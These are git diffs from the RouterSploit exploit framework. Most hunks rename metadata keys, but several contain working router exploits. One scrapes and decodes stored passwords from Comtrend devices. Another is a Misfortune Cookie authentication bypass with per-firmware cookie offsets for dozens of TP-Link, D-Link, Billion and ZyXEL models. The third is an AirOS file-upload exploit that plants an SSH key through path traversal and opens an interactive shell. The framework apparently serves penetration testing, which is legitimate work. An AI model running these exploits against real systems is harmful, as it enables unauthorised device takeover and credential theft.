...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/35184/', 'https://www.exploit-db.com/exploits/35184/',
'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/',
], ],
'targets': [ 'devices': [
'Belkin N750', 'Belkin N750',
] ]
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/39568/', 'https://www.exploit-db.com/exploits/39568/',
'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash',
], ],
'targets': [ 'devices': [
'Cisco UCS Manager 2.1 (1b)', 'Cisco UCS Manager 2.1 (1b)',
], ],
} }
......
...@@ -27,10 +27,8 @@ class Exploit(exploits.Exploit): ...@@ -27,10 +27,8 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html' 'https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html'
], ],
'targets': [ 'devices': [
'Comtrend CT 5361T (more likely CT 536X)\n' + 'Comtrend CT 5361T (more likely CT 536X)',
'Software Version: A111-312SSG-T02_R01\n' +
'Wireless Driver Version: 4.150.10.15.cpe2.2'
] ]
} }
...@@ -38,26 +36,24 @@ class Exploit(exploits.Exploit): ...@@ -38,26 +36,24 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target port') # default port port = exploits.Option(80, 'Target port') # default port
def run(self): def run(self):
if self.check():
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
print_status("Requesting for {}".format(url)) print_status("Requesting for {}".format(url))
response = http_request(method="GET", url=url) response = http_request(method="GET", url=url)
if response is None: if response is None:
return return
creds = [] regexps = [("admin", "pwdAdmin = '(.+?)'"),
admin = re.findall("pwdAdmin = '(.+?)'", response.text) ("support", "pwdSupport = '(.+?)'"),
if len(admin): ("user", "pwdUser = '(.+?)'")]
creds.append(('Admin', b64decode(admin[0])))
support = re.findall("pwdSupport = '(.+?)'", response.text) creds = []
if len(support): for regexp in regexps:
creds.append(('Support', b64decode(support[0]))) res = re.findall(regexp[1], response.text)
user = re.findall("pwdUser = '(.+?)'", response.text) if len(res):
if len(user): creds.append((regexp[0], b64decode(res[0])))
creds.append(('User', b64decode(user[0])))
if len(creds): if len(creds):
print_success("Credentials found!") print_success("Credentials found!")
...@@ -66,6 +62,8 @@ class Exploit(exploits.Exploit): ...@@ -66,6 +62,8 @@ class Exploit(exploits.Exploit):
print("NOTE: Admin is commonly implemented as root") print("NOTE: Admin is commonly implemented as root")
else: else:
print_error("Credentials could not be found") print_error("Credentials could not be found")
else:
print_error("Device seems to be not vulnerable")
@mute @mute
def check(self): def check(self):
...@@ -75,7 +73,19 @@ class Exploit(exploits.Exploit): ...@@ -75,7 +73,19 @@ class Exploit(exploits.Exploit):
if response is None: if response is None:
return False # target is not vulnerable return False # target is not vulnerable
if any(map(lambda x: x in response.text, ["pwdSupport", "pwdUser", "pwdAdmin"])): regexps = ["pwdAdmin = '(.+?)'",
return True # target vulnerable "pwdSupport = '(.+?)'",
"pwdUser = '(.+?)'"]
for regexp in regexps:
res = re.findall(regexp, response.text)
if len(res):
try:
b64decode(res[0]) # checking if data is base64 encoded
except:
return False # target is not vulnerable
else:
return False # target is not vulnerable return False # target is not vulnerable
return True # target is vulnerable
...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit): ...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf', 'http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf',
], ],
'targets': [ 'devices': [
'D-Link DIR-300', 'D-Link DIR-300',
'D-Link DIR-600', 'D-Link DIR-600',
'D-Link DIR-615 revD', 'D-Link DIR-615 revD',
......
...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit): ...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://seclists.org/bugtraq/2013/Dec/11' 'http://seclists.org/bugtraq/2013/Dec/11'
], ],
'targets': [ 'devices': [
'D-Link DIR-300 (all)', 'D-Link DIR-300 (all)',
'D-Link DIR-600 (all)', 'D-Link DIR-600 (all)',
'D-Link DIR-615 (fw 4.0)', 'D-Link DIR-615 (fw 4.0)',
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'http://www.s3cur1ty.de/home-network-horror-days', 'http://www.s3cur1ty.de/home-network-horror-days',
'http://www.s3cur1ty.de/m1adv2013-003', 'http://www.s3cur1ty.de/m1adv2013-003',
], ],
'targets': [ 'devices': [
'D-Link DIR 300', 'D-Link DIR 300',
'D-Link DIR 600', 'D-Link DIR 600',
] ]
......
...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit): ...@@ -26,7 +26,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt' 'https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt'
], ],
'targets': [ 'devices': [
'D-Link DIR-645 (Versions < 1.03)', 'D-Link DIR-645 (Versions < 1.03)',
] ]
} }
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://www.search-lab.hu/media/D-Link_Security_advisory_3_0_public.pdf', 'http://www.search-lab.hu/media/D-Link_Security_advisory_3_0_public.pdf',
], ],
'targets': [ 'devices': [
'DNS-320L 1.03b04', 'DNS-320L 1.03b04',
'DNS-327L, 1.02', 'DNS-327L, 1.02',
] ]
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://seclists.org/fulldisclosure/2015/May/129' 'http://seclists.org/fulldisclosure/2015/May/129'
], ],
'targets': [ 'devices': [
'D-Link DSL-2750B EU_1.01', 'D-Link DSL-2750B EU_1.01',
], ],
} }
......
...@@ -25,7 +25,7 @@ class Exploit(exploits.Exploit): ...@@ -25,7 +25,7 @@ class Exploit(exploits.Exploit):
'https://www.exploit-db.com/exploits/39409/', 'https://www.exploit-db.com/exploits/39409/',
'http://ipositivesecurity.blogspot.com/2016/02/dlink-dvgn5402sp-multiple-vuln.html', 'http://ipositivesecurity.blogspot.com/2016/02/dlink-dvgn5402sp-multiple-vuln.html',
], ],
'targets': [ 'devices': [
'D-Link DVG-N5402SP', 'D-Link DVG-N5402SP',
] ]
} }
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://www.exploit-db.com/exploits/39581/', 'https://www.exploit-db.com/exploits/39581/',
], ],
'targets': [ 'devices': [
'D-Link DWR-932', 'D-Link DWR-932',
] ]
} }
......
...@@ -33,7 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -33,7 +33,7 @@ class Exploit(exploits.Exploit):
'http://www.s3cur1ty.de/home-network-horror-days', 'http://www.s3cur1ty.de/home-network-horror-days',
'http://www.s3cur1ty.de/m1adv2013-003', 'http://www.s3cur1ty.de/m1adv2013-003',
], ],
'targets': [ 'devices': [
'FortiGate OS Version 4.x-5.0.7', 'FortiGate OS Version 4.x-5.0.7',
] ]
} }
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor', 'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor',
], ],
'targets': [ 'devices': [
'Juniper ScreenOS 6.2.0r15 to 6.2.0r18', 'Juniper ScreenOS 6.2.0r15 to 6.2.0r18',
'Juniper ScreenOS 6.3.0r12 to 6.3.0r20', 'Juniper ScreenOS 6.3.0r12 to 6.3.0r20',
] ]
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://www.exploit-db.com/exploits/24475/', 'https://www.exploit-db.com/exploits/24475/',
], ],
'targets': [ 'devices': [
'Linksys E1500/E2500', 'Linksys E1500/E2500',
] ]
} }
......
...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +27,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'http://seclists.org/bugtraq/2010/Jun/93', 'http://seclists.org/bugtraq/2010/Jun/93',
], ],
'targets': [ 'devices': [
'Linksys WAP54Gv3', 'Linksys WAP54Gv3',
] ]
} }
......
...@@ -21,23 +21,138 @@ class Exploit(exploits.Exploit): ...@@ -21,23 +21,138 @@ class Exploit(exploits.Exploit):
'Check Point <www.checkpoint.com>', # vulnerability discovery 'Check Point <www.checkpoint.com>', # vulnerability discovery
'Jan Trencansky', # proof of concept exploit 'Jan Trencansky', # proof of concept exploit
'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury@reverse-shell.com>', # routersploit module
'Milad Doorbash <milad.doorbash@gmail.com>' # authentication bypass exploit
], ],
'references': [ 'references': [
'http://mis.fortunecook.ie/' 'http://mis.fortunecook.ie/',
'http://embedsec.systems/embedded-device-security/2015/02/16/Misfortune-Cookie-CVE-2014-9222-Demystified.html',
'http://piotrbania.com/all/articles/tplink_patch',
'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/10/porting-the-misfortune-cookie-exploit-whitepaperpdf'
],
'devices': [
# brand # model # firmware
{'name': "Azmoon AZ-D140W 2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1", 'number': 107367693, 'offset': 13}, # 0x803D5A79 # tested
{'name': "Billion BiPAC 5102S Av2.7.0.23 (UE0.B1C)", 'number': 107369694, 'offset': 13}, # 0x8032204d # ----------
{'name': "Billion BiPAC 5102S Bv2.7.0.23 (UE0.B1C)", 'number': 107369694, 'offset': 13}, # 0x8032204d # ----------
{'name': "Billion BiPAC 5200 2.11.84.0(UE2.C2)3.11.11.6", 'number': 107369545, 'offset': 9}, # 0x803ec2ad # ----------
{'name': "Billion BiPAC 5200 2_11_62_2_ UE0.C2D_3_10_16_0", 'number': 107371218, 'offset': 21}, # 0x803c53e5 # ----------
{'name': "Billion BiPAC 5200A 2_10_5 _0(RE0.C2)3_6_0_0", 'number': 107366366, 'offset': 25}, # 0x8038a6e1 # ----------
{'name': "Billion BiPAC 5200A 2_11_38_0 (RE0.C29)3_10_5_0", 'number': 107371453, 'offset': 9}, # 0x803b3a51 # ----------
{'name': "Billion BiPAC 5200GR4 2.11.91.0(RE2.C29)3.11.11.52", 'number': 107367690, 'offset': 21}, # 0x803D8A51 # tested
{'name': "Billion BiPAC 5200SRD 2.10.5.0 (UE0.C2C) 3.6.0.0", 'number': 107368270, 'offset': 1}, # 0x8034b109 # ----------
{'name': "Billion BiPAC 5200SRD 2.12.17.0_UE2.C3_3.12.17.0", 'number': 107371378, 'offset': 37}, # 0x8040587d # ----------
{'name': "Billion BiPAC 5200SRD 2_11_62_2(UE0.C3D)3_11_11_22", 'number': 107371218, 'offset': 13}, # 0x803c49d5 # ----------
{'name': "D-Link DSL-2520U Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL", 'number': 107368902, 'offset': 25}, # 0x803fea01 # tested
{'name': "D-Link DSL-2600U Z1_DSL-2600U", 'number': 107366496, 'offset': 13}, # 0x8040637d # ----------
{'name': "D-Link DSL-2600U Z2_V1.08_ras", 'number': 107360133, 'offset': 20}, # 0x803389B0 # ----------
{'name': "TP-Link TD-8616 V2_080513", 'number': 107371483, 'offset': 21}, # 0x80397055 # ----------
{'name': "TP-Link TD-8816 V4_100528_Russia", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # ----------
{'name': "TP-Link TD-8816 V4_100524", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # ----------
{'name': "TP-Link TD-8816 V5_100528_Russia", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # ----------
{'name': "TP-Link TD-8816 V5_100524", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # tested
{'name': "TP-Link TD-8816 V5_100903", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # ----------
{'name': "TP-Link TD-8816 V6_100907", 'number': 107371426, 'offset': 17}, # 0x803c6e09 # ----------
{'name': "TP-Link TD-8816 V7_111103", 'number': 107371161, 'offset': 1}, # 0x803e1bd5 # ----------
{'name': "TP-Link TD-8816 V7_130204", 'number': 107370211, 'offset': 5}, # 0x80400c85 # ----------
{'name': "TP-Link TD-8817 V5_100524", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # ----------
{'name': "TP-Link TD-8817 V5_100702_TR", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # ----------
{'name': "TP-Link TD-8817 V5_100903", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # ----------
{'name': "TP-Link TD-8817 V6_100907", 'number': 107369788, 'offset': 1}, # 0x803b6e09 # ----------
{'name': "TP-Link TD-8817 V6_101221", 'number': 107369788, 'offset': 1}, # 0x803b6e09 # ----------
{'name': "TP-Link TD-8817 V7_110826", 'number': 107369522, 'offset': 25}, # 0x803d1bd5 # ----------
{'name': "TP-Link TD-8817 V7_130217", 'number': 107369316, 'offset': 21}, # 0x80407625 # ----------
{'name': "TP-Link TD-8817 V7_120509", 'number': 107369321, 'offset': 9}, # 0x803fbcc5 # tested
{'name': "TP-Link TD-8817 V8_140311", 'number': 107351277, 'offset': 20}, # 0x8024E148 # tested
{'name': "TP-Link TD-8820 V3_091223", 'number': 107369768, 'offset': 17}, # 0x80397E69 # tested
{'name': "TP-Link TD-8840T V1_080520", 'number': 107369845, 'offset': 5}, # 0x80387055 # ----------
{'name': "TP-Link TD-8840T V2_100525", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # tested
{'name': "TP-Link TD-8840T V2_100702_TR", 'number': 107369790, 'offset': 17}, # 0x803ae0b1 # ----------
{'name': "TP-Link TD-8840T V2_090609", 'number': 107369570, 'offset': 1}, # 0x803c65d5 # ----------
{'name': "TP-Link TD-8840T V3_101208", 'number': 107369766, 'offset': 17}, #0x803c3e89 # tested
{'name': "TP-Link TD-8840T V3_110221", 'number': 107369764, 'offset': 5}, # 0x803d1a09 # ----------
{'name': "TP-Link TD-8840T V3_120531", 'number': 107369688, 'offset': 17}, # 0x803fed35 # ----------
{'name': "TP-Link TD-W8101G V1_090107", 'number': 107367772, 'offset': 37}, # 0x803bf701 # ----------
{'name': "TP-Link TD-W8101G V1_090107", 'number': 107367808, 'offset': 21}, # 0x803e5b6d # ----------
{'name': "TP-Link TD-W8101G V2_100819", 'number': 107367751, 'offset': 21}, # 0x803dc701 # ----------
{'name': "TP-Link TD-W8101G V2_101015_TR", 'number': 107367749, 'offset': 13}, # 0x803e1829 # ----------
{'name': "TP-Link TD-W8101G V2_101101", 'number': 107367749, 'offset': 13}, # 0x803e1829 # ----------
{'name': "TP-Link TD-W8101G V3_110119", 'number': 107367765, 'offset': 25}, # 0x804bb941 # ----------
{'name': "TP-Link TD-W8101G V3_120213", 'number': 107367052, 'offset': 25}, # 0x804e1ff9 # ----------
{'name': "TP-Link TD-W8101G V3_120604", 'number': 107365835, 'offset': 1}, # 0x804f16a9 # ----------
{'name': "TP-Link TD-W8151N V3_120530", 'number': 107353867, 'offset': 24}, # 0x8034F3A4 # tested
{'name': "TP-Link TD-W8901G V1_080522", 'number': 107367787, 'offset': 21}, # 0x803AB30D # tested
{'name': "TP-Link TD-W8901G V1,2_080522", 'number': 107368013, 'offset': 5}, # 0x803AB30D # ----------
{'name': "TP-Link TD-W8901G V2_090113_Turkish", 'number': 107368013, 'offset': 5}, # 0x803AB30D # ----------
{'name': "TP-Link TD-W8901G V3_140512", 'number': 107367854, 'offset': 9}, # 0x803cf335 # tested
{'name': "TP-Link TD-W8901G V3_100603", 'number': 107367751, 'offset': 21}, # 0x803DC701 # tested
{'name': "TP-Link TD-W8901G V3_100702_TR", 'number': 107367751, 'offset': 21}, # 0x803DC701 # tested
{'name': "TP-Link TD-W8901G V3_100901", 'number': 107367749, 'offset': 13}, # 0x803E1829 # tested
{'name': "TP-Link TD-W8901G V6_110119", 'number': 107367765, 'offset': 25}, # 0x804BB941 # tested
{'name': "TP-Link TD-W8901G V6_110915", 'number': 107367682, 'offset': 21}, # 0x804D7CB9 # tested
{'name': "TP-Link TD-W8901G V6_120418", 'number': 107365835, 'offset': 1}, # 0x804F16A9 # ----------
{'name': "TP-Link TD-W8901G V6_120213", 'number': 107367052, 'offset': 25}, # 0x804E1FF9 # ----------
{'name': "TP-Link TD-W8901GB V3_100727", 'number': 107367756, 'offset': 13}, # 0x803dfbe9 # ----------
{'name': "TP-Link TD-W8901GB V3_100820", 'number': 107369393, 'offset': 21}, # 0x803f1719 # ----------
{'name': "TP-Link TD-W8901N V1_111211", 'number': 107353880, 'offset': 0}, # 0x8034FF94 # tested
{'name': "TP-Link TD-W8951ND V1_101124,100723,100728", 'number': 107369839, 'offset': 25}, # 0x803d2d61 # tested
{'name': "TP-Link TD-W8951ND V1_110907", 'number': 107369876, 'offset': 13}, # 0x803d6ef9 # ----------
{'name': "TP-Link TD-W8951ND V1_111125", 'number': 107369876, 'offset': 13}, # 0x803d6ef9 # ----------
{'name': "TP-Link TD-W8951ND V3.0_110729_FI", 'number': 107366743, 'offset': 21}, # 0x804ef189 # ----------
{'name': "TP-Link TD-W8951ND V3_110721", 'number': 107366743, 'offset': 21}, # 0x804ee049 # ----------
{'name': "TP-Link TD-W8951ND V3_20110729_FI", 'number': 107366743, 'offset': 21}, # 0x804ef189 # ----------
{'name': "TP-Link TD-W8951ND V4_120511", 'number': 107364759, 'offset': 25}, # 0x80523979 # tested
{'name': "TP-Link TD-W8951ND V4_120607", 'number': 107364759, 'offset': 13}, # 0x80524A91 # tested
{'name': "TP-Link TD-W8951ND V4_120912_FL", 'number': 107364760, 'offset': 21}, # 0x80523859 # tested
{'name': "TP-Link TD-W8961NB V1_110107", 'number': 107369844, 'offset': 17}, # 0x803de3f1 # tested
{'name': "TP-Link TD-W8961NB V1_110519", 'number': 107369844, 'offset': 17}, # 0x803de3f1 # ----------
{'name': "TP-Link TD-W8961NB V2_120319", 'number': 107367629, 'offset': 21}, # 0x80531859 # ----------
{'name': "TP-Link TD-W8961NB V2_120823", 'number': 107366421, 'offset': 13}, # 0x80542e59 # ----------
{'name': "TP-Link TD-W8961ND V1_100722,101122", 'number': 107369839, 'offset': 25}, # 0x803D2D61 # tested
{'name': "TP-Link TD-W8961ND V1_101022_TR", 'number': 107369839, 'offset': 25}, # 0x803D2D61 # ----------
{'name': "TP-Link TD-W8961ND V1_111125", 'number': 107369876, 'offset': 13}, # 0x803D6EF9 # ----------
{'name': "TP-Link TD-W8961ND V2_120427", 'number': 107364732, 'offset': 25}, # 0x8052e0e9 # ----------
{'name': "TP-Link TD-W8961ND V2_120710_UK", 'number': 107364771, 'offset': 37}, # 0x80523AA9 # ----------
{'name': "TP-Link TD-W8961ND V2_120723_FI", 'number': 107364762, 'offset': 29}, # 0x8052B6B1 # ----------
{'name': "TP-Link TD-W8961ND V3_120524,120808", 'number': 107353880, 'offset': 0}, # 0x803605B4 # ----------
{'name': "TP-Link TD-W8961ND V3_120830", 'number': 107353414, 'offset': 36}, # 0x803605B4 # ----------
{'name': "ZyXEL P-660R-T3 3.40(BOQ.0)C0", 'number': 107369567, 'offset': 21}, # 0x803db071 # tested
{'name': "ZyXEL P-660RU-T3 3.40(BJR.0)C0", 'number': 107369567, 'offset': 21}, # 0x803db071
], ],
'targets': [
'multi'
]
} }
# *---------- means data for this firmware is obtained from other tested firmwares.
# Change to tested state if you test it on a real device.don't forget to double check
# your device model and full firmware version since each firmware needs its unique cookie
# number
target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address target = exploits.Option('', 'Target address e.g. http://192.168.1.1') # target address
port = exploits.Option(80, 'Target port') # default port port = exploits.Option(80, 'Target port') # default port
device = exploits.Option('', 'Target device (show devices)') # target firmware
def run(self): def run(self):
if self.check(): devices = self._Exploit__info__['devices']
print_success("Device is vulnerable to Misfortune Cookie vulnerability") if self.device == '' or re.match("^\d+?$", self.device) is None or int(self.device) < 0 or int(self.device) >= len(devices):
print_error("Invalid device identifier option")
return
number = devices[int(self.device)]['number']
offset = devices[int(self.device)]['offset']
url = sanitize_url("{}:{}".format(self.target, self.port))
user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
headers = {'User-Agent': user_agent,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',
'Connection': 'keep-alive',
'Accept-Encoding': 'gzip, deflate',
'Cache-Control': 'no-cache',
'Cookie' : 'C' + str(number) + '=' + 'B' * offset + '\x00'}
response = http_request(method="GET", url=url, headers=headers)
if response is not None and response.status_code <= 302:
print_success("Seems good but check " + "{}:{}".format(self.target, self.port) + " using your browser to verify if authentication is disabled or not.")
return True
else: else:
print_error("Device seems to be not vulnerable") print_error("Failed.")
@mute @mute
def check(self): def check(self):
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://firmware.re/vulns/acsa-2015-001.php', 'http://firmware.re/vulns/acsa-2015-001.php',
'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf', 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf',
], ],
'targets': [ 'devices': [
'Netgear WG102', 'Netgear WG102',
'Netgear WG103', 'Netgear WG103',
'Netgear WN604', 'Netgear WN604',
......
...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit): ...@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt', 'https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt',
'http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html', 'http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html',
], ],
'targets': [ 'devices': [
'Netgear N300', 'Netgear N300',
'Netgear JNR1010v2', 'Netgear JNR1010v2',
'Netgear JNR3000', 'Netgear JNR3000',
......
...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +28,7 @@ class Exploit(exploits.Exploit):
'http://firmware.re/vulns/acsa-2015-002.php', 'http://firmware.re/vulns/acsa-2015-002.php',
'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf', 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf',
], ],
'targets': [ 'devices': [
'Netgear ProSafe WC9500', 'Netgear ProSafe WC9500',
'Netgear ProSafe WC7600', 'Netgear ProSafe WC7600',
'Netgear ProSafe WC7520', 'Netgear ProSafe WC7520',
......
...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit): ...@@ -23,7 +23,7 @@ class Exploit(exploits.Exploit):
'references': [ 'references': [
'https://www.exploit-db.com/exploits/31894/', 'https://www.exploit-db.com/exploits/31894/',
], ],
'targets': [ 'devices': [
'Technicolor TC7200', 'Technicolor TC7200',
] ]
} }
......
import requests, tempfile, os.path
import paramiko, StringIO, termios, tty, sys, select, socket
from routersploit import (
exploits,
print_success,
print_error,
print_info,
random_text,
sanitize_url,
http_request,
mute,
)
class Exploit(exploits.Exploit):
'''
Exploit implementation for AirOS 6.x - Arbitrary File Upload.
If the target is vulnerable is possible to take full control of the router
'''
__info__ = {
'name': 'AirOS 6.x - Arbitrary File Upload',
'description': 'Exploit implementation for AirOS 6.x - Arbitrary File Upload. If the target is vulnerable is possible to take full control of the router',
'authors': [
'93c08539', #Vulnerability discovery
'Vinicius Henrique Marangoni' #routersploit module
],
'references': [
'https://hackerone.com/reports/73480',
'https://www.exploit-db.com/exploits/39701/'
],
'devices': [
'AirOS 6.x'
]
}
target = exploits.Option('', 'Target address e.g. https://192.168.1.1') #Target address
port = exploits.Option(443, 'Target port e.g. 443') #Default port
#Disable certificate verification warnings
requests.packages.urllib3.disable_warnings()
def run(self):
if(self.check()):
print_success('Target is vulnerable')
print_success('Trying to exploit by uploading SSH public key')
key = paramiko.RSAKey.generate(1024)
public_key = key.get_base64()
private_key = StringIO.StringIO()
key.write_private_key(private_key)
tmp_file_pubkey = tempfile.TemporaryFile()
tmp_file_pubkey.write('ssh-rsa ' + public_key)
tmp_file_pubkey.seek(0)
upload_params = {'file': ('../../etc/dropbear/authorized_keys', tmp_file_pubkey, {'Expect': ''})}
upload_url = sanitize_url('{0}:{1}/login.cgi' .format(self.target, self.port))
response = http_request(url=upload_url, method='POST', files=upload_params)
if(response is None):
print_error('Something was wrong while uploading the SSH Public Key')
return
print_success('Appareantly the exploit worked fine')
print_success('Trying to invoke a interactive SSH Shell')
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
pseudo_privkey_file = StringIO.StringIO(private_key.getvalue())
pkey = paramiko.RSAKey.from_private_key(pseudo_privkey_file)
pseudo_privkey_file.close()
ip_target = self.target.replace('https://', '')
ip_target = ip_target.replace('http://', '')
ip_target = ip_target.replace('/', '')
client.connect(ip_target, 22, username='ubnt', pkey=pkey)
# invoking interactive shell
chan = client.invoke_shell()
oldtty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
chan.settimeout(0.0)
while(True):
r, w, e = select.select([chan, sys.stdin], [], [])
if(chan in r):
try:
x = unicode(chan.recv(1024))
if(len(x) == 0):
sys.stdout.write('\r\nExiting...\r\n')
break
sys.stdout.write(x)
sys.stdout.flush()
except socket.timeout:
pass
if(sys.stdin in r):
x = sys.stdin.read(1)
if(len(x) == 0):
break
chan.send(x)
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
private_key.close()
else:
print_error('Target is not vulnerable')
@mute
def check(self):
base_url = sanitize_url('{0}:{1}/' .format(self.target, self.port))
upload_url = base_url + 'login.cgi'
response = http_request(url=upload_url, method='GET')
if(response is None):
return False #Target not vulnerable
rand_str = random_text(length=16)
tmp_payload = tempfile.TemporaryFile()
tmp_payload.write('vulnerable' + rand_str)
tmp_payload.seek(0)
upload_params = {'file': ('../../../../tmp/airview.uavr', tmp_payload, {'Expect': ''})}
response = http_request(url=upload_url, method='POST', files=upload_params)
tmp_payload.close()
if(response is None):
return False #Target not vulnerable
#Response to verify if the upload was done correctly
airview_url = base_url + 'airview.uavr'
verify_upload = http_request(url=airview_url, method='GET')
#Upload empty file to "clear" the airview.uavr file
clean_tmp_file = tempfile.TemporaryFile()
clean_tmp_file.seek(0)
upload_params = {'file': ('../../../../tmp/airview.uavr', clean_tmp_file, {'Expect': ''})}
http_request(url=upload_url, method='POST', files=upload_params)
clean_tmp_file.close()
if('vulnerable'+rand_str in verify_upload.text):
return True
else:
return False
...@@ -30,7 +30,7 @@ class RoutersploitCompleterTest(unittest.TestCase): ...@@ -30,7 +30,7 @@ class RoutersploitCompleterTest(unittest.TestCase):
def test_raw_commands_no_module(self): def test_raw_commands_no_module(self):
self.rsf.send("\t\t") self.rsf.send("\t\t")
self.assertPrompt('debug exit use \r\n', self.raw_prompt) self.assertPrompt('exit use \r\n', self.raw_prompt)
def test_complete_use_raw(self): def test_complete_use_raw(self):
self.rsf.send("u\t\t") self.rsf.send("u\t\t")
...@@ -87,7 +87,7 @@ class RoutersploitCompleterTest(unittest.TestCase): ...@@ -87,7 +87,7 @@ class RoutersploitCompleterTest(unittest.TestCase):
self.set_module() self.set_module()
self.rsf.send("\t\t") self.rsf.send("\t\t")
self.assertPrompt( self.assertPrompt(
'back check debug exit run set show \r\n', 'back check exit run set show \r\n',
self.module_prompt('FTP Bruteforce') self.module_prompt('FTP Bruteforce')
) )
...@@ -135,7 +135,7 @@ class RoutersploitCompleterTest(unittest.TestCase): ...@@ -135,7 +135,7 @@ class RoutersploitCompleterTest(unittest.TestCase):
self.set_module() self.set_module()
self.rsf.send("set \t\t") self.rsf.send("set \t\t")
self.assertPrompt( self.assertPrompt(
'passwords port target threads usernames verbosity \r\n', 'passwords stop_on_success threads verbosity\r\nport target usernames \r\n',
self.module_prompt('FTP Bruteforce'), self.module_prompt('FTP Bruteforce'),
'set ', 'set ',
) )
......
from __future__ import print_function from __future__ import print_function
import unittest import unittest
import os import os
import inspect
try: try:
import unittest.mock as mock import unittest.mock as mock
